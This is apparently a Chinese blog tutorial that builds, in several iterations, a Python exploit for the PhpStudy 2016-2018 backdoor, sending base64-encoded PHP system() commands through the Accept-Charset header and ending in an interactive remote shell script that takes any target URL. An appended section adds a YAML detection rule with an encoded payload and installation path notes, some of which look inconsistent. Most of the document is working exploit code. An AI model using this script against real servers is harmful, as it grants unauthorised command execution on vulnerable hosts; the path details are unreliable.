针对PhpStudy-RCE漏洞EXP的编写(python)

PhpStudy-RCE漏洞

PhpStudy_2016-2018_RCE漏洞复现_L尘痕的博客-优快云博客

首先先看到编写的收手点

基础环境

python编写工具:vscode

运行脚本:cmd窗口(管理员身份运行)

ECP编写

1、模拟数据包的发送

# GET /phpinfo.php HTTP/1.1
# Host: 192.168.153.232
# Upgrade-Insecure-Requests: 1
# User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# Referer: http://192.168.153.232/
# Content-Length: 0
# Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==
# Accept-Encoding: gzip,deflate
# Accept-Language: en-US,en;q=0.9
# Connection: close

import requests
# 定义request请求
url = "http://192.168.153.232/phpinfo.php"
# 定义针对的目标
headers = {
    "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Accept-Charset"    : "c3lzdGVtKCdpcGNvbmZpZycpOw==",
    "Accept-Encoding"   : "gzip,deflate"
}
# 定义具体需要的关键字段

res = requests.get(url = url)
# 获取到GET请求
print(res.text)
# 对上述内容做输出

 2、输出的内容不简洁,需要再次修改

import requests
# 定义request请求
url = "http://192.168.153.232/phpinfo.php"
# 定义针对的目标
headers = {
    "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Accept-Charset"    : "c3lzdGVtKCdpcGNvbmZpZycpOw==",
    "Accept-Encoding"   : "gzip,deflate"
}
# 定义具体需要的关键字段

res = requests.get(url = url, headers = headers)
# 获取到GET请求
result = res.text[0:res.text.find("<!DOCTYPE html")]
# 对整体做切片,以内容的头部明显字段做目标来达到效果
print(result)
# 对上述内容做输出

 3、这时EXP所达到的效果得到初步的实现,只需将ipconfig编码改变就可以实现,为了更方便的使用,我们需要将编码变成cmd


import requests
# 定义request请求
import base64
# 导入base64模块

url = "http://192.168.153.232/phpinfo.php"
# 定义针对的目标
cmd = "system('whoami');"
# 定义输入的命令
cmd = base64.b64encode(cmd.encode())
# 以二进制的方式进行编码
headers = {
    "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
    "Accept-Charset"    : cmd,
    "Accept-Encoding"   : "gzip,deflate"
}
# 定义具体需要的关键字段

res = requests.get(url = url, headers = headers)
# 获取到GET请求
result = res.text[0:res.text.find("<!DOCTYPE html")]
# 对整体做切片,以内容的头部明显字段做目标来达到效果
print(result)
# 对上述内容做输出

 4、直接在cmd窗口输入命令


import requests
# 定义request请求
import base64
# 导入base64模块

url = "http://192.168.153.232/phpinfo.php"
# 定义针对的目标
while True :
# 让以下程序做循环
    cmd = input("-->")
    # 不用在脚本中修改命令,直接在窗口输入,得到结果
    if cmd == 'q!' :
    # 如果输入q!则终止循环
        break
    # 跳出循环
    cmd = f"system('{cmd}');"
    # 定义输入的命令
    cmd = base64.b64encode(cmd.encode())
    # 以二进制的方式进行编码
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
        "Accept-Charset"    : cmd,
        "Accept-Encoding"   : "gzip,deflate"
    }
    # 定义具体需要的关键字段

    res = requests.get(url = url, headers = headers)
    # 获取到GET请求
    result = res.text[0:res.text.find("<!DOCTYPE html")]
    # 对整体做切片,以内容的头部明显字段做目标来达到效果
    print(result)
    # 对上述内容做输出

 5、对脚本进行美化,得到最终EXP

# GET /phpinfo.php HTTP/1.1
# Host: 192.168.153.232
# Upgrade-Insecure-Requests: 1
# User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# Referer: http://192.168.153.232/
# Content-Length: 0
# Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==
# Accept-Encoding: gzip,deflate
# Accept-Language: en-US,en;q=0.9
# Connection: close

import requests
# 定义request请求
import base64
# 导入base64模块
import sys
# 导入sys模块
banner = '''
---------------------------------------------------------------------
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|p|h|p|s|t|u|d|y|2|0|1|6|r|c|e|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Usage: python *.py http://192.168.153.232/phpinfo.php
---------------------------------------------------------------------
'''
# 美化脚本并提示脚本的用法,当然也可以写入作者
if len(sys.argv) < 2 :
# 如果没有给脚本并给的参数不小于2
    print(banner)
# 则输出提示
    exit()
# 否则退出,不执行以下程序

url = sys.argv[1]
# 定义针对的目标
def attack(cmd) :
    cmd = f"system('{cmd}');"
    # 定义输入的命令
    cmd = base64.b64encode(cmd.encode())
    # 以二进制的方式进行编码
    headers = {
        "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
        "Accept-Charset"    : cmd,
        "Accept-Encoding"   : "gzip,deflate"
    }
    # 定义具体需要的关键字段

    res = requests.get(url = url, headers = headers)
    # 获取到GET请求
    result = res.content.decode("gb2312")
    # 以二进制的方式解码在输出成中文
    result = result[0:result.find("<!DOCTYPE html")]
    # 对整体做切片,以内容的头部明显字段做目标来达到效果
    return result
    # 对上述内容做输出

while True :
# 让以下程序做循环
    cmd = input("请输入命令 : ")
    # 不用在脚本中修改命令,直接在窗口输入,得到结果
    result = attack(cmd)
    # 返回result内容
    print(result)
    # 输出result内容
    if cmd == 'q!' :
    # 如果输入q!则终止循环
        break
    # 则跳出循环

 有问题可以随时进行探讨哦!!!

#认真走好每一小步  请多指教

@L尘痕

### PHPStudy 后门 RCE 漏洞 POC 及文件目录结构 #### 关于 PHPStudy 后门 RCE 的 POC PHPStudy 是一款集成开发环境工具,用于快速搭建本地 Web 开发环境。然而,在其某些版本中存在后门代码,可能导致远程代码执行(RCE)。以下是关于该漏洞的概念验证(POC)描述。 漏洞利用的核心在于 `\ext\php_xmlrpc.dll` 模块中的恶意代码[^2]。攻击者可以通过特定请求触发此模块的功能,从而实现任意命令执行。具体来说,通过设置 `Accept-Charset` 请求头为 Base64 编码后的恶意负载,并发送到目标服务器上的 `/index.php` 路径即可完成攻击。 以下是一个基于 YAML 格式的 POC 描述: ```yaml name: poc-yaml-phpstudy-backdoor-rce rules: - method: GET path: /index.php headers: Accept-Encoding: 'gzip,deflate' Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw== follow_redirects: false expression: | body.bcontains(b'a5952fb670b54572bcec7440a554633e') detail: author: 17bdw affected_version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4" vuln_url: "php_xmlrpc.dll" links: - https://www.freebuf.com/column/214946.html ``` 上述 YAML 文件定义了一个简单的漏洞检测规则。其中,`Accept-Charset` 头部被设置为经过 Base64 编码的恶意负载,解码后的内容通常是一条系统命令或脚本调用语句。如果返回的结果包含预期的哈希值,则表明目标主机可能存在漏洞[^3]。 --- #### PHPStudy 2016 和 2018 版本的文件目录结构 对于 PHPStudy 2016 和 2018 的默认安装路径及其内部文件夹布局,可以参考以下说明: ##### **PHPStudy 2016** - 安装根目录:`C:\phpstudy_pro` - 配置文件位置:`\PHPTutorial\config\httpd.conf` - 默认网站根目录:`\WWW` - PHP 执行程序所在路径:`\Applications\php-5.4.45` - XML-RPC 动态链接库路径:`\ext\php_xmlrpc.dll` 当启动 PHPStudy 并运行内置浏览器时,默认会加载位于 `www/phpinfo.php` 下的信息页面来展示当前配置状态[^1]。 ##### **PHPStudy 2018** 尽管两个版本之间差异不大,但在细节上仍有一些调整: - 新增支持更多扩展功能和服务选项; - 继续沿用了类似的文件存储逻辑——即主要组件依旧集中存放在应用程序子目录下。 例如,同样可以在下面这些地方找到相关内容: - 主站点数据区:`D:\phpstudyPro\WWW`(取决于用户自定义设定)- CGI/FastCGI 接口关联部分则可能涉及到了额外的安全加固措施或者参数修改情况等等[^4]。 需要注意的是,由于官方已经停止维护旧版软件包并推荐升级至最新稳定发行系列产品线之中去继续享受技术支持服务保障体系所带来的便利之处的同时也能够有效规避潜在风险隐患问题的发生几率大大降低许多! --- ###
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

L尘痕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值